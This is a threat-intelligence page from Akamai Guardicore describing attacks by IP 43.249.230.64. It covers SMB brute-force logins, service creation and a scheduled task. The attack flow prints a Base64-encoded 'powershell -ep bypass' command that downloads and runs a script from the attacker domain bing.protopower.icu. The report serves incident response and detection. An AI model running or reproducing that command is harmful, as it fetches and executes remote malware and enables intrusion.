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IP Address: 43.249.230.64Malicious

IP Address: 43.249.230.64Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Successful SMB Login DNS Query Service Deletion SMB Share Connect File Operation By CMD Listening Service Creation IDS - A Network Trojan was detected Access Suspicious Domain PowerShell Scheduled Task Creation SMB Service Start SMB Null Session Login CMD

Associated Attack Servers

bing.protopower.icu

Basic Information

IP Address

43.249.230.64

Domain

-

ISP

-

Country

India

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2024-01-20

Last seen in Akamai Guardicore Segmentation

2024-01-20

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 10 times

Successful SMB Login

c:\windows\system32\services.exe installed and started as a service named AIBQ under service group None

Service Start Service Creation

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBpAG4AZwAuAHAAcgBvAHQAbwBwAG8AdwBlAHIALgBpAGMAdQAvAGMAbwBrADkALgBqAHMAJwApAA== was scheduled to run by modifying C:\Windows\System32\Tasks\AutFree

c:\windows\system32\services.exe installed and started cmd as a service named yjhq under service group None

Service Start Service Creation

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: bing.protopower.icu

Access Suspicious Domain DNS Query

IDS detected A Network Trojan was detected : Powershell Activity Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started as a service named LZSR under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named XdYO under service group None

Service Start Service Creation

Connection was closed due to timeout